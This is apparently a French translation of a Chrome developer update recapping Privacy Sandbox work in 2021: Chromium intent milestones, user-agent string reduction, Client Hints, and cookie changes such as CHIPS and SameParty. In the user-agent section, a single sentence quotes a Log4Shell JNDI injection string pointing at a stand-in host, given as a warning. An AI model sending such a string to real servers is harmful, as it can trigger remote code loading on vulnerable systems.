Progression dans la Privacy Sandbox (décembre 2021)

Bienvenue dans l'édition 2021 de la synthèse 2021 de Progress in the Privacy Sandbox, qui vous permettra de suivre les étapes de la suppression progressive des cookies tiers dans Chrome et de travailler vers un Web plus respectueux de la confidentialité. Normalement, nous partageons un aperçu des modifications apportées au calendrier de la Privacy Sandbox, ainsi que des informations sur l'ensemble du projet, mais décembre a été un mois calme. Au lieu de cela, nous reviendrons sur certaines des activités de 2021 et vous proposerons quelques résolutions potentielles à prendre dès maintenant pour la nouvelle année.

Processus de développement Chromium

Pour qu'une nouvelle fonctionnalité de la plate-forme Web arrive dans Chromium, elle doit passer par le processus de développement ouvert du projet. En 2021, l'équipe Privacy Sandbox a produit:

🥚Intention de prototype 19
🧪Intention de test7
🚀Intention d'expédition 11
Source

Chaque étape importante est une invitation à contribuer à l'écosystème Web au sens large.

Une intention de prototyper est le premier point de contrôle, au cours duquel nous invitons la discussion et l'expérimentation préliminaire. Cela signifie qu'une proposition sera disponible sur GitHub, où vous pourrez poser une question en créant un problème ou participer à des discussions et à des présentations dans des groupes standards tels que le W3C et l'IETF. C'est également à ce stade que commence le codage, ce qui signifie que vous pouvez attendre que la fonctionnalité de prototype soit mise à la disposition des développeurs pour les tests derrière un flage de fonctionnalité. Les premiers commentaires sont essentiels pour valider et retravailler les propositions.

Une intention de test est une étape facultative si nous souhaitons demander une phase d'évaluation. Les développeurs peuvent s'inscrire à la phase d'évaluation d'une fonctionnalité, puis la tester en production. C'est ce qu'on appelle un test, car nous souhaitons valider certains aspects spécifiques de la fonctionnalité dans des environnements réels. Les développeurs qui peuvent tester et partager les résultats de ces tests fournissent de précieux commentaires pour aider à itérer et à faire évoluer la fonctionnalité.

Une intention de livraison est le jalon final qui indique qu'une fonctionnalité est maintenant terminée et prête pour la disponibilité générale. Une fois approuvée, la fonctionnalité est fusionnée dans une prochaine version, puis transmise aux versions Canary, bêta et stables. Il est essentiel de tester vos sites avec les versions Canary et bêta de Chrome afin de détecter et de signaler tout bug avant qu'une fonctionnalité ne soit stable.

Propositions

Chaque proposition de la Privacy Sandbox est associée à un dépôt GitHub. Un dépôt héberge un contenu explicatif qui résume les fonctionnalités globales, une spécification détaillée pour l'implémentation par les navigateurs et les contributions de tout l'écosystème Web sous la forme de problèmes et de demandes d'extraction.

Dans 14 dépôts Privacy Sandbox, nous avons obtenu:

💬545Problèmes créés
250Problèmes fermés
🛠️261Demandes d'extraction créées
223Demandes d'extraction fusionnées
Source

Le langage des explications et des spécifications s'adresse souvent à un public qui connaît déjà les normes et le développement de navigateurs, ce qui peut être difficile si vous ne le connaissez pas. Cependant, le but d'une explication est d'expliquer ! Si certains points ne sont pas clairs ou s'ils ne sont pas abordés, soulevez un problème afin que nous puissions mettre à jour et clarifier les explications.

Résolutions

Nettoyage de printemps du user-agent

Alors que nous comptons à l'approche de la nouvelle année, nous comptons également à la hausse jusqu'à Chrome 100 et à la réduction incrémentielle de la chaîne user-agent. Il est utile de revoir l'utilisation de la chaîne user-agent dans votre code pour vérifier si l'une de ces modifications l'affecte.

Pour accéder à ces zones:

  1. Recherchez navigator.userAgent dans votre code JavaScript ou accédez à l'en-tête User-Agent dans le code de votre serveur.
  2. Vérifiez que vous avez analysé la chaîne pour détecter d'éventuelles hypothèses concernant une version à deux chiffres. Par exemple, une expression régulière spécifiant \d\d ou \d{2} doit être remplacée par \d+.
  3. Vérifiez votre utilisation de la chaîne pour tous les éléments sur lesquels vous vous appuyez sur :
    • la version de la plate-forme (système d'exploitation) ;
    • version complète de Chrome
    • nom de l'appareil mobile
  4. Ce sont les valeurs qui seront, à l'avenir, réduites à des chaînes fixes. Si vous avez besoin d'accéder à ces valeurs, migrez vers les indicateurs client User-Agent.

Il y a une mise à jour de décembre à mentionner : si vous adoptez les indicateurs client User-Agent, nous avons envoyé l'intent de livraison pour activer la délégation des indices à d'autres origines en HTML via une balise <meta>. Exemple :

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

Si vous êtes d'humeur enthousiaste pour le nettoyage de printemps, vous pouvez également envisager des alternatives à l'utilisation du user-agent. Si vous utilisez cette chaîne pour détecter les appareils mobiles, demandez-vous si vous pouvez la remplacer par un responsive design. Si vous vérifiez la compatibilité du nom et de la version du navigateur, essayez d'utiliser la détection de fonctionnalités à la place.

Gardez toujours à l'esprit que l'exactitude, voire la fourniture du user-agent, comme toute valeur fournie par le client, n'est pas garantie. La récente faille Log4j, "Log4shell", fournit un exemple de ce risque. Un client qui définit sa chaîne user-agent pour inclure une valeur telle que ${jndi:ldap://example.com/file} peut demander à un site de l'analyser activement sur le serveur.

Une autre activité traditionnelle du Nouvel An consiste à s'assurer que vous êtes heureux d'avoir un nombre équilibré de cookies contenant des ingrédients de qualité. Alors que nous nous apprêtons à supprimer les cookies tiers, vous devez vous assurer de savoir quels cookies de votre site seront affectés. 2020 a donné une longueur d'avance, car il est devenu nécessaire de marquer tous les cookies pour une utilisation intersite ou tierce avec SameSite=None.

Tous les cookies pour lesquels vous avez défini l'attribut SameSite sur None devront être mis à jour.

Trois possibilités s'offrent à vous pour le moment:

  1. Si le cookie n'est requis que dans une relation 1:1 avec le site de premier niveau, suivez l'avancement de la proposition CHIPS. Cela implique d'ajouter l'attribut Partitioned au cookie.
  2. Si le cookie est utilisé dans un contexte intersites, mais uniquement sur des sites que vous possédez et gérez, il est peut-être adapté aux ensembles internes. Pour ce faire, vous devez définir les sites de l'ensemble et ajouter l'attribut SameParty au cookie.
  3. Si le cookie est utilisé pour fournir une forme de valeur partagée entre plusieurs sites, examinez l'ensemble des propositions de Privacy Sandbox pour trouver une autre solution qui ne repose pas sur le suivi intersites.

Si vous vous sentez particulièrement soucieux de votre santé, c'est aussi le moment idéal pour revoir votre utilisation des cookies, car nous disposons également d'une bonne recette pour améliorer vos cookies propriétaires.

Commentaires

Alors que nous continuons à publier ces mises à jour mensuelles et à l'évolution de la Privacy Sandbox dans son ensemble, nous voulons nous assurer que les développeurs reçoivent les informations et l'assistance dont ils ont besoin. N'hésitez pas à nous contacter sur @ChromiumDev Twitter si vous souhaitez apporter des améliorations à cette série. Vos réponses nous permettront de continuer à améliorer le format.

Consultez les questions fréquentes sur la Privacy Sandbox, que nous continuons à développer en fonction des problèmes que vous envoyez dans le dépôt d'assistance pour les développeurs. Si vous avez des questions concernant les tests ou la mise en œuvre de l'une des propositions, n'hésitez pas à nous contacter.